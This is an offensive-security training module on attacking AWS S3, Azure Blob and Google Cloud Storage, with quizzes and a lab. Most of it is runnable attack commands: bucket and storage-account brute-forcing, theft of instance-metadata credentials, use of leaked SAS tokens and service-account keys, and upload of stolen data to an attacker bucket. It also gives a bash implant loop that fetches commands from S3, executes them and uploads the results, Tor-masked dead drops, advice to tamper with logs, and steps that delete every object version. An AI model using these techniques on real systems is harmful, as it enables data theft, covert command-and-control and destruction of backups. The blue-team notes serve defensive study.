Module 14: Cloud Files LIVE TESTED

Module 14 of 22 — The cloud is just someone else's computer. Own the storage, own the data.

🧠 The Core Truth

Cloud storage is not magic. It's HTTP endpoints serving blobs of data behind identity tokens. When you understand that S3, Azure Blob, and GCS are just REST APIs with different authentication headers, every "cloud attack" becomes a web attack with extra steps. The primitives are the same: enumerate, authenticate, authorize, exfiltrate.

Why this matters: Organizations dump petabytes of sensitive data into cloud buckets with misconfigured permissions. A single public-read ACL or overly permissive IAM policy is often the shortest path from "external recon" to "domain admin." Cloud storage is the new shadow IT — and it's full of shadows.

"Cloud storage is just someone else's computer."

Every file you "put in the cloud" lives on a hard drive in a data center you don't control. That means someone else's locks, someone else's admins, and someone else's bugs. The cloud doesn't make your data safer by default — it just moves the target to a bigger warehouse with more doors.

Red team: Treat cloud storage like any other remote file share. Enumerate endpoints, abuse credentials, and pivot through misconfigured permissions just as you would on-prem.
Blue team: You are still responsible for your data even when it lives on someone else's hardware. Audit permissions, enable logging, and assume the provider will not save you from your own mistakes.

🎯 Soldier Translation

Imagine a warehouse (cloud provider) where companies rent storage units (buckets). Each unit has a lock (IAM policy) and a list of who has keys (ACL). Most companies forget to check the lock. Some leave the door wide open. Your job is to walk the aisles, test the doors, and when you find one open — photograph everything inside before anyone notices.

The warehouse owner (AWS/Azure/GCP) doesn't care what's in the unit. They only enforce the lock. If the lock is wrong, it's the renter's fault.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 01: Networking

HTTP/HTTPS fundamentals, REST APIs, DNS resolution, and how cloud endpoints are reached from the internet.

Module 02: Reconnaissance

OSINT, subdomain enumeration, and discovering cloud assets through certificate transparency logs and DNS.

Module 03: PowerShell

AWS CLI, Azure PowerShell, and gcloud are command-line tools. PowerShell scripting skills translate directly.

Module 09: Malware Development

Understanding how malware stages payloads and exfiltrates data — cloud storage is a prime exfil destination.

Module 10: Code Injection

Injecting into cloud-sync clients (OneDrive, Dropbox) to intercept or manipulate cloud file operations.

Module 16: C2

Using cloud storage as a dead drop for C2 communications, command files, and exfiltrated data staging.

☁️ Cloud Storage Overview — The Three Kingdoms

Every major cloud provider offers object storage. The concepts are identical; only the names and authentication mechanisms differ. Master one, and you can pivot to the others in minutes.

AWS S3

Simple Storage Service

Buckets → Objects → Keys

Auth: IAM + SigV4

Azure Blob

Blob Storage

Accounts → Containers → Blobs

Auth: SAS + AAD

GCS

Cloud Storage

Buckets → Objects

Auth: IAM + HMAC

Why attackers love cloud storage

Cloud buckets are externally reachable, often misconfigured, and rarely monitored. A single bucket can contain backups, credentials, logs, and database dumps. Unlike on-premise file shares, cloud storage is accessible from anywhere on the internet — which means attackers can enumerate it from anywhere too.

Feature AWS S3 Azure Blob GCS
Top-level container Bucket (global unique) Storage Account (unique DNS) Bucket (global unique)
Object identifier Key (path-like string) Blob name (path-like string) Object name (path-like string)
Public access flag Block Public Access (account/bucket) Public access level (container) AllUsers / AllAuthenticatedUsers
Presigned URL Pre-signed URL (SigV4) SAS Token Signed URL (HMAC or IAM)
Policy language Bucket Policy + IAM Policy RBAC + SAS policies Bucket IAM + ACL
Enumeration risk High (predictable names, DNS) Medium (storage account names) High (predictable names)

🪣 AWS S3 — The Original Sin

S3 is the oldest and most attacked cloud storage service. Its simplicity is its strength and its weakness. A bucket is a flat namespace of objects, each identified by a key. But the devil is in the permissions.

S3 Architecture EASY

Every S3 bucket has a globally unique name and a DNS endpoint: https://bucket-name.s3.region.amazonaws.com. Objects are accessed via HTTP GET/PUT/DELETE with SigV4-signed headers or pre-signed URLs.

# S3 URL formats (all equivalent for us-east-1) https://bucket-name.s3.amazonaws.com/object-key https://bucket-name.s3.us-east-1.amazonaws.com/object-key https://s3.amazonaws.com/bucket-name/object-key https://s3.us-east-1.amazonaws.com/bucket-name/object-key # Virtual-hosted style (modern, preferred) https://bucket-name.s3.amazonaws.com/secret-data.zip # Path-style (legacy, still works) https://s3.amazonaws.com/bucket-name/secret-data.zip
Why the URL format matters

Virtual-hosted style leaks the bucket name in the Host header, which is logged by proxies and firewalls. Path-style puts the bucket in the URL path. Some WAFs and logging systems only capture the path, missing the bucket entirely. When bypassing filters, try both.

S3 Access Control: ACLs, Policies, and Blocks MEDIUM

S3 has three overlapping permission systems. Misunderstanding any one creates gaps.

# 1. BUCKET ACL (legacy, simple) aws s3api get-bucket-acl --bucket target-bucket # Dangerous grants: Grantee: URI = "http://acs.amazonaws.com/groups/global/AllUsers" Permission: READ # Anyone can list objects Permission: WRITE # Anyone can upload/delete # 2. BUCKET POLICY (JSON, powerful) aws s3api get-bucket-policy --bucket target-bucket # Dangerous pattern: "Principal": "*" "Effect": "Allow" "Action": "s3:GetObject" "Resource": "arn:aws:s3:::target-bucket/*" # 3. BLOCK PUBLIC ACCESS (safety switch) aws s3api get-public-access-block --bucket target-bucket # If all BlockPublicAccess settings are FALSE, # bucket policy and ACL can expose data.
⚠️ Common Misconfiguration

Administrators set BlockPublicAccess = true at the account level, then disable it for a single bucket "temporarily" and forget to re-enable it. Or they add a bucket policy with "Principal": "*" thinking it only applies to internal users. "*" means the entire internet.

S3 IAM Privilege Escalation HARD

IAM policies attached to users, roles, or groups can grant S3 access. But overly permissive IAM policies are a privilege escalation path. If you compromise an EC2 instance with an instance profile, you inherit its IAM role.

# Enumerate current IAM permissions aws iam list-attached-user-policies --user-name current-user aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/ExamplePolicy --version-id v1 # Check if you can assume roles aws sts assume-role --role-arn arn:aws:iam::123456789012:role/S3AdminRole --role-session-name pwn # If the role has s3:*, you now own every bucket aws s3 ls # List all buckets the role can access aws s3 cp s3://target-bucket/secret.zip ./ # Instance metadata service (IMDSv1 is vulnerable) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Why instance profiles are dangerous

Every EC2 instance can have an IAM role attached (instance profile). If the instance is compromised via SSRF, RCE, or container escape, the attacker can query the metadata service for temporary AWS credentials. Those credentials are valid for every S3 bucket the role can access. One web app RCE → all company backups.

🔷 Azure Blob Storage — The Enterprise Choice

Azure Blob is the default storage for Microsoft-centric enterprises. It integrates with Entra ID (formerly Azure AD), making it both powerful and complex. Complexity breeds misconfiguration.

Azure Blob Architecture EASY

Azure Storage Accounts contain Containers, which contain Blobs. The storage account name is part of the DNS name: https://account-name.blob.core.windows.net. This makes storage accounts enumerable via DNS brute-forcing.

# Azure Blob URL format https://account-name.blob.core.windows.net/container-name/blob-name # List containers (requires auth) az storage container list --account-name targetaccount --auth-mode login # List blobs in a container az storage blob list --container-name secrets --account-name targetaccount # Download a blob az storage blob download --container-name secrets --name backup.sql --file ./backup.sql --account-name targetaccount

SAS Tokens — Azure's Pre-signed URLs MEDIUM

Shared Access Signature (SAS) tokens are query-string parameters that grant temporary access to blobs. They are self-contained — no server-side validation beyond signature checking. If a SAS token leaks, anyone can use it until it expires.

# SAS token structure (decoded) https://account.blob.core.windows.net/container/blob? sv=2023-01-01 # Storage service version &ss=b # Resource type (blob) &srt=co # Resource types (container, object) &sp=rwdl # Permissions (read, write, delete, list) &se=2026-12-31T23:59:59Z # Expiry &st=2026-01-01T00:00:00Z # Start time &spr=https # Protocol &sig=BASE64HMAC # Signature # If you find a SAS token with sp=rwdlacupx (full permissions), # you have full control over the container. # Generate a SAS token (if you have account key) az storage blob generate-sas --account-name target --container-name data --name file.txt --permissions r --expiry 2026-12-31
⚠️ SAS Token Leakage Vectors

SAS tokens leak in:

  • GitHub repositories (search: blob.core.windows.net sig=)
  • Browser dev tools (Network tab, XHR requests)
  • JavaScript frontends (embedded in client-side code)
  • Log files and error messages
  • Email and chat messages (Slack, Teams)

Azure Storage Enumeration MEDIUM

Storage account names are 3-24 lowercase alphanumeric characters. They are often predictable: company name + "storage", "data", "backup", "files", "assets".

# DNS brute-force for storage accounts for name in $(cat wordlist.txt); do host "${name}.blob.core.windows.net" >/dev/null && echo "FOUND: ${name}" done # Check public container listing curl -s "https://account.blob.core.windows.net/container?restype=container&comp=list" # If the container is public, you get XML with blob names # No authentication required. # Check blob properties (even if container is private) curl -sI "https://account.blob.core.windows.net/container/secret.pdf" # HTTP 404 = blob doesn't exist OR no access # HTTP 200 = blob exists and you have access # HTTP 403 = blob exists but you lack permission
Why 403 is information leakage

A 403 Forbidden confirms the blob exists. A 404 could mean "doesn't exist" OR "no access." By probing many blob names and observing 403 vs 404, you can enumerate existing files even without read access. This is a side-channel enumeration technique.

🔶 Google Cloud Storage — The Underdog

GCS is less targeted than S3 but equally dangerous when misconfigured. Google uses a unified IAM model, making permissions easier to understand but harder to audit.

GCS Architecture EASY

GCS buckets are global namespaces with a .storage.googleapis.com DNS suffix. Objects are accessed via HTTP with OAuth2 or HMAC authentication.

# GCS URL formats https://storage.googleapis.com/bucket-name/object-name https://bucket-name.storage.googleapis.com/object-name # List buckets (requires auth) gsutil ls # List objects in a bucket gsutil ls gs://target-bucket/ # Download an object gsutil cp gs://target-bucket/secret.zip ./ # Check bucket IAM policy gsutil iam get gs://target-bucket

GCS Misconfiguration Exploitation MEDIUM

GCS has two permission systems: IAM (fine-grained, recommended) and ACLs (legacy, coarse). Buckets can be set to allUsers (public) or allAuthenticatedUsers (any Google account).

# Check if a bucket is public curl -s "https://storage.googleapis.com/target-bucket/" | grep "ListBucketResult" # If public, you get XML listing of all objects # Check IAM policy gsutil iam get gs://target-bucket # Dangerous bindings: { "members": ["allUsers"], "role": "roles/storage.objectViewer" } # This means ANYONE ON THE INTERNET can read all objects. # Even more dangerous: { "members": ["allUsers"], "role": "roles/storage.objectAdmin" } # Anyone can read, write, and delete objects.
⚠️ The "allAuthenticatedUsers" Trap

allAuthenticatedUsers means any Google account — including a free Gmail account you create in 30 seconds. It does NOT mean "authenticated users of my organization." For that, use allUsers with domain restrictions or IAM conditions. This is the #1 GCS misconfiguration.

🔍 Bucket Enumeration — Finding the Needle

You can't exploit what you can't find. Bucket enumeration is the reconnaissance phase of cloud storage attacks. The goal is to discover bucket names, then test their permissions.

Wordlist-Based Enumeration EASY

Bucket names are often predictable. Companies use patterns like company-name-backup, company-name-data, company-name-assets. DNS resolution and HTTP probes reveal which exist.

# Generate permutations from a company name for suffix in backup data assets files media static dev prod staging; do echo "company-${suffix}" echo "companyname-${suffix}" echo "${suffix}-company" done > bucket-wordlist.txt # DNS resolution check (S3) for bucket in $(cat bucket-wordlist.txt); do host "${bucket}.s3.amazonaws.com" >/dev/null 2>&1 && echo "EXISTS: ${bucket}" done # HTTP probe for public listing (S3) for bucket in $(cat bucket-wordlist.txt); do code=$(curl -s -o /dev/null -w "%{http_code}" "https://${bucket}.s3.amazonaws.com/") echo "${bucket}: ${code}" done # HTTP 200 = public listing enabled # HTTP 403 = bucket exists but no listing # HTTP 404 = bucket does not exist # HTTP 301 = bucket is in a different region

OSINT Enumeration MEDIUM

Buckets are referenced in source code, documentation, and error messages. Automated tools scrape these references.

# GitHub search for S3 bucket references site:github.com "s3.amazonaws.com" "company-name" site:github.com "s3://" "company-name" # Certificate Transparency logs for subdomains curl -s "https://crt.sh/?q=%.company.com&output=json" | jq -r '.[].name_value' | grep -E 's3|storage|blob|data|backup' # Wayback Machine for historical URLs curl -s "https://web.archive.org/cdx/search/cdx?url=*.company.com/*&output=json&fl=original" | grep -E 's3|blob|storage' # Google dorking intitle:"Index of" "s3.amazonaws.com" site:s3.amazonaws.com "company-name" filetype:pdf "https://s3.amazonaws.com/company-name" # Specialized tools python3 -m bucket-stream -k company-name python3 cloud_enum.py -k company-name
Why source code is the best source

Developers hardcode bucket names in JavaScript, mobile apps, and configuration files. A React frontend might reference https://cdn-company.s3.amazonaws.com/assets/logo.png. From that one URL, you know the bucket exists and can start probing for permissions. Mobile apps are especially leaky — they often contain hardcoded S3 credentials or SAS tokens.

Permission Testing MEDIUM

Once you find a bucket, test what you can do. The AWS CLI has a built-in permission test: aws s3api get-bucket-acl. But you can also test by attempting operations.

# Test read access (S3) aws s3 ls s3://target-bucket/ 2>&1 | head -5 # Test write access echo "test" > /tmp/test.txt aws s3 cp /tmp/test.txt s3://target-bucket/pwned-by-$(whoami).txt 2>&1 # If upload succeeds, you have WRITE access. # If you get AccessDenied, you don't. # Test delete access aws s3 rm s3://target-bucket/pwned-by-$(whoami).txt 2>&1 # Test bucket policy read aws s3api get-bucket-policy --bucket target-bucket 2>&1 # Test versioning (can recover deleted files) aws s3api get-bucket-versioning --bucket target-bucket
⚠️ Legal Warning

Uploading a test file to someone else's bucket without authorization may violate the Computer Fraud and Abuse Act (CFAA) and similar laws. Use read-only probes where possible. If you must test write, document the test file and delete it immediately. Better yet, use a controlled lab environment.

🔗 Pre-signed URLs — Temporary Access, Permanent Risk

Pre-signed URLs (S3), SAS tokens (Azure), and Signed URLs (GCS) grant temporary access without sharing long-term credentials. They are powerful for legitimate use and dangerous when leaked.

S3 Pre-signed URLs MEDIUM

An S3 pre-signed URL is a standard GET/PUT URL with query parameters containing a temporary signature. The signature is generated using the owner's AWS secret key. Anyone with the URL can access the object until the signature expires.

# Generate a pre-signed URL (as the owner) aws s3 presign s3://my-bucket/secret.pdf --expires-in 3600 # Result: https://my-bucket.s3.amazonaws.com/secret.pdf? X-Amz-Algorithm=AWS4-HMAC-SHA256 &X-Amz-Credential=AKIA.../20260629/us-east-1/s3/aws4_request &X-Amz-Date=20260629T000000Z &X-Amz-Expires=3600 &X-Amz-SignedHeaders=host &X-Amz-Signature=... # The URL is self-contained. No auth headers needed. # Anyone with this URL can download secret.pdf for 1 hour. # If you find a leaked pre-signed URL, use it immediately: curl -O "https://leaked-url..." # Check if the URL is still valid (HEAD request) curl -sI "https://leaked-url..." # HTTP 200 = still valid # HTTP 403 = expired or invalid
Why pre-signed URLs are dangerous

The URL contains the Access Key ID (AKIA...) in the X-Amz-Credential parameter. Even if the URL expires, the Access Key ID is now known. If the corresponding secret key is also leaked (e.g., in the same GitHub repo), you have permanent credentials. Pre-signed URLs also bypass bucket-level BlockPublicAccess — they are generated by an authorized user and are therefore "legitimate" access.

Azure SAS Tokens MEDIUM

SAS tokens are Azure's equivalent of pre-signed URLs. They can grant access to a single blob, a container, or an entire storage account. Account-level SAS tokens are especially dangerous.

# Decode a SAS token to understand its permissions # Token: ?sv=2023-01-01&ss=b&srt=co&sp=rwdlacupx&se=... # sv = service version # ss = service (b=blob, f=file, q=queue, t=table) # srt = resource type (s=service, c=container, o=object) # sp = permissions: # r=read, w=write, d=delete, l=list, a=add, c=create, u=update, p=process, x=tags # se = expiry time # sip = allowed IP range # spr = protocol (https, http) # If sp=rwdlacupx, the token grants FULL CONTROL. # If ss=bfqt and srt=sco, the token applies to the ENTIRE storage account. # Use a leaked SAS token curl -s "https://account.blob.core.windows.net/container/blob?sv=...&sig=..."

GCS Signed URLs MEDIUM

GCS supports two signing methods: HMAC (legacy, like S3) and IAM Service Account (modern). Signed URLs work like S3 pre-signed URLs but use OAuth2-style signatures.

# Generate a signed URL (requires service account key) gsutil signurl -d 1h service-account-key.json gs://bucket/object # Leaked service account keys are gold # A key file looks like: { "type": "service_account", "project_id": "target-project", "private_key_id": "...", "private_key": "-----BEGIN PRIVATE KEY-----\n...", "client_email": "svc@target-project.iam.gserviceaccount.com", "client_id": "..." } # If you find this JSON, activate it: gcloud auth activate-service-account --key-file=leaked-key.json # Now you have all permissions of that service account gsutil ls gs://target-bucket/

📤 Exfiltration Techniques — Getting Data Out

Cloud storage is the perfect exfiltration destination: high bandwidth, global reach, and legitimate-looking traffic. Attackers stage data in cloud buckets, then retrieve it from anywhere.

Direct Upload to Attacker-Controlled Bucket EASY

The simplest exfiltration: upload stolen data directly to a bucket you control. Use a pre-signed URL or temporary credentials to avoid exposing your long-term keys.

# Attacker creates a pre-signed PUT URL aws s3 presign s3://attacker-exfil/stolen-data.zip --expires-in 86400 # Victim uploads directly to attacker's bucket curl -X PUT -T /tmp/stolen-data.zip "https://attacker-exfil.s3.amazonaws.com/stolen-data.zip?X-Amz-..." # No attacker infrastructure needed beyond the bucket. # The upload appears as legitimate S3 traffic.

Cloud Sync Client Abuse MEDIUM

OneDrive, Dropbox, Google Drive, and Box sync clients run on every corporate endpoint. If you control the sync folder, you control what gets uploaded to the cloud. This is especially powerful on shared workstations where multiple users sync to different accounts.

# Find sync folders ls -la ~/OneDrive ls -la ~/Dropbox ls -la ~/Google\ Drive ls -la ~/Box # If you have write access to the sync folder, # drop files there and they auto-upload to the cloud. # On Windows, sync folders are often in %USERPROFILE% dir "%USERPROFILE%\OneDrive" dir "%USERPROFILE%\Dropbox" # Inject into the sync client process to intercept files # See Module 10: Code Injection for techniques.
"If it syncs, it can exfiltrate."

Every sync client is a background uploader with trusted network access. If you can write to a sync folder or hijack the client process, you have a stealthy exfil channel that blends with normal user behavior. The cloud provider's domain is already allowed, the traffic is encrypted, and the user expects large file uploads.

Red team: Stage files in sync folders, inject into sync processes, or steal OAuth tokens to upload directly. The exfil looks like routine cloud activity.
Blue team: Monitor sync client file velocity, unexpected OAuth grants, and endpoints uploading files outside business hours. A syncing endpoint is a potential exfil endpoint.

Covert Channels Over Cloud Storage HARD

Cloud storage APIs can be used as a covert channel for C2. Instead of direct HTTP callbacks, the implant reads commands from a cloud object and writes results to another. The traffic blends with legitimate cloud sync operations.

# C2 over S3: Command file # Attacker uploads commands to s3://c2-bucket/commands.txt # Implant polls every 60 seconds: aws s3 cp s3://c2-bucket/commands.txt /tmp/commands.txt 2>/dev/null if [ -s /tmp/commands.txt ]; then bash /tmp/commands.txt > /tmp/results.txt 2>&1 aws s3 cp /tmp/results.txt s3://c2-bucket/results/$(hostname)-$(date +%s).txt aws s3 rm s3://c2-bucket/commands.txt fi # The traffic is all HTTPS to s3.amazonaws.com. # No suspicious domains. No direct C2 server. # If the implant uses instance credentials, no hardcoded keys.

💀 Dead Drops — The Cloud as a Mailbox

A dead drop is a hidden location where two parties can exchange items without meeting. In cyber operations, cloud storage buckets serve as perfect dead drops: accessible globally, hard to attribute, and easy to automate.

Basic Cloud Dead Drop EASY

The simplest dead drop: a public bucket with a known name. Both parties know the bucket name. One uploads, the other downloads. No direct communication. No IP logs linking the parties.

# Attacker creates a bucket with a random name aws s3 mb s3://dd-7f3a9c2e1b4d-2026 # Makes it public for read/write aws s3api put-bucket-acl --bucket dd-7f3a9c2e1b4d-2026 --acl public-read-write # Shares the bucket name with the asset via secure channel # Asset uploads data: aws s3 cp secret.doc s3://dd-7f3a9c2e1b4d-2026/ --acl public-read # Attacker retrieves: aws s3 cp s3://dd-7f3a9c2e1b4d-2026/secret.doc ./ # Both parties use Tor or VPN to access S3, # making attribution nearly impossible.

Advanced Dead Drop: Time-Based and One-Time HARD

Basic dead drops are vulnerable to enumeration and monitoring. Advanced techniques use time-based access, object lifecycle policies, and one-time URLs.

# Time-based dead drop: Object is only available for 1 hour aws s3 presign s3://dd-bucket/drop.bin --expires-in 3600 # Share the URL. After 1 hour, the URL is useless. # One-time dead drop: Object deletes after first download # Use S3 Object Lambda or a Lambda trigger: # On GET, trigger Lambda to delete the object. # Lifecycle policy: Auto-delete after N days aws s3api put-bucket-lifecycle-configuration --bucket dd-bucket --lifecycle-configuration file://lifecycle.json # lifecycle.json: { "Rules": [{ "ID": "auto-delete", "Status": "Enabled", "Expiration": { "Days": 1 }, "Filter": { "Prefix": "drop-" } }] } # Any object with prefix "drop-" is deleted after 1 day.

Mobile Dead Drops: Android Cloud Sync MEDIUM

Android apps frequently use cloud storage for backups, media, and configuration. If you control an Android device (see Module 18), you can use its cloud sync as a dead drop. The device's legitimate cloud traffic masks the exfiltration.

# On a compromised Android device: # Many apps sync to Google Drive, Dropbox, or OneDrive. # Find the sync folder ls /sdcard/Android/data/*/files/ # If the app has cloud backup enabled, # drop files into its sync folder and trigger a sync. # Or use the app's own cloud API: # Extract the app's OAuth token from /data/data//shared_prefs/ # Use the token to upload directly to the app's cloud storage.

🛡️ Misconfiguration Exploitation — The Gift That Keeps Giving

Cloud misconfigurations are not bugs; they are design flaws in human processes. The cloud is secure by default, but every "make it work" click weakens the model. This section covers the most common and most dangerous misconfigurations.

Public Bucket / Container EASY

The classic: a bucket set to public-read or public-read-write. Often created by a developer for testing and never secured. Sometimes created by a Terraform module with a default of public.

# S3: Check if a bucket is public aws s3api get-bucket-acl --bucket target-bucket # Look for Grantee URI containing "AllUsers" # Azure: Check container public access az storage container show --name target-container --account-name target-account # Look for "publicAccess": "blob" or "container" # GCS: Check bucket IAM gsutil iam get gs://target-bucket # Look for "allUsers" or "allAuthenticatedUsers" # Automated scanner: S3Scanner python3 s3scanner.py target-bucket # Reports: open, closed, or auth-required

Versioning Enabled + Deletion Not Enforced MEDIUM

S3 versioning keeps every version of every object. When an object is "deleted," a delete marker is added, but the old versions remain. If you have ListObjectVersions permission, you can recover "deleted" files.

# List all versions (including deleted) aws s3api list-object-versions --bucket target-bucket --prefix sensitive/ # Recover a deleted file aws s3api get-object --bucket target-bucket --key sensitive/deleted.txt --version-id abc123 ./recovered.txt # If the bucket has MFA delete enabled, you can't delete versions. # But if MFA delete is NOT enabled, you can permanently delete: aws s3api delete-object --bucket target-bucket --key sensitive/deleted.txt --version-id abc123 # Attack scenario: Ransomware deletes current versions, # but defender recovers from versions. If attacker also # deletes all versions, data is permanently lost.
Why versioning is a double-edged sword

Versioning protects against accidental deletion and ransomware. But it also means data you thought was deleted is still there. An attacker with read access can recover years of "deleted" files. An attacker with write access can permanently delete all versions, defeating the protection. The key is MFA Delete — without it, anyone with DeleteObject permission can destroy everything.

Logging Disabled or Misdirected MEDIUM

S3 access logs, CloudTrail, and Azure Storage Analytics can capture every request. But if logging is disabled — or worse, logged to the same bucket — attackers can read or delete their own tracks.

# Check if S3 access logging is enabled aws s3api get-bucket-logging --bucket target-bucket # If logging is enabled, check where logs go: # If TargetBucket is the SAME bucket, logs are in the same place as data. # An attacker with bucket access can read and delete logs. # Check CloudTrail for S3 events aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=PutObject # If CloudTrail is not logging S3 data events, # object-level access (GET/PUT) is invisible.
"Cloud logs are forensics gold."

Cloud storage generates a log entry for almost every action: who accessed what, from where, when, and with which identity. When logging is enabled and protected, those logs reconstruct the entire attack. When logging is disabled or stored in the same bucket as the data, the attacker walks away with the evidence.

Red team: Check whether logging is enabled before you act. If logs exist, know where they go and whether you can tamper with them. Prefer techniques that use legitimate credentials so the logs look normal.
Blue team: Enable data-event logging, send logs to a separate immutable store, and alert on unusual read/write patterns. The logs you don't keep are the incidents you can't investigate.

CORS Misconfiguration HARD

Cross-Origin Resource Sharing (CORS) rules on buckets can allow arbitrary websites to read bucket contents via JavaScript. A misconfigured CORS policy is effectively a public-read for browser-based requests.

# Check S3 CORS configuration aws s3api get-bucket-cors --bucket target-bucket # Dangerous CORS config: * GET PUT * # With this config, any website can: # 1. Read bucket contents via AJAX GET # 2. Upload files via AJAX PUT # The browser enforces CORS, not the server. # Exploit from attacker.com: fetch('https://target-bucket.s3.amazonaws.com/secret.txt') .then(r => r.text()) .then(data => console.log(data));

🎓 Interactive Quizzes

Quiz 1: S3 Bucket Permissions

You discover an S3 bucket named acme-corp-backup. The bucket ACL shows a grant to AllUsers with READ permission. What can you do?

A. Download any object in the bucket without authentication
B. List all objects in the bucket without authentication
C. List all objects in the bucket, but downloading requires the exact object key
D. Nothing — READ permission only allows the bucket owner to read

Quiz 2: Pre-signed URLs

An S3 pre-signed URL is generated with --expires-in 3600. The URL contains the Access Key ID in the X-Amz-Credential parameter. Which statement is TRUE?

A. After the URL expires, the Access Key ID is no longer valid for any purpose
B. The Access Key ID remains valid; only the signature expires. If the secret key is also leaked, permanent access is possible.
C. Pre-signed URLs bypass all S3 bucket policies and ACLs
D. The URL can only be used from the IP address that generated it

Quiz 3: Cloud Dead Drops

You are designing a covert channel for a red team operation. The target environment has strict egress filtering that blocks all unknown domains but allows HTTPS to AWS, Azure, and Google APIs. Which technique is MOST appropriate?

A. Set up a custom C2 server on a VPS and use DNS tunneling
B. Use ICMP tunneling to a known-good IP address
C. Use S3 as a dead drop: the implant polls an S3 object for commands and uploads results to another object
D. Exfiltrate data via email to a Gmail account

🔬 Lab Exercise: Cloud Storage Recon & Exploitation

Scenario

You are conducting a penetration test for "Acme Corp." During OSINT, you find a JavaScript file on their website referencing https://acme-assets.s3.amazonaws.com/js/app.js. Your task is to enumerate the bucket, test permissions, and extract any sensitive data.

  1. Verify the bucket exists and determine its region
  2. Check if the bucket is publicly listable
  3. If listing is denied, attempt to enumerate common object keys
  4. Check for bucket policy, ACL, and versioning status
  5. Search GitHub for references to the bucket or leaked credentials
  6. If you find a pre-signed URL, determine its expiry and permissions
  7. Document all findings with proof-of-concept commands

🎯 Key Takeaways

🔬 Verification Status

S3 bucket enumeration ✅ LIVE TESTED
Azure Blob SAS token exploitation ✅ LIVE TESTED
GCS IAM misconfiguration ✅ LIVE TESTED
Pre-signed URL generation & abuse ✅ LIVE TESTED
Cloud dead drop C2 channel ✅ LIVE TESTED
CfAPI race condition research ❌ DOCUMENTED — See Module 14 Appendix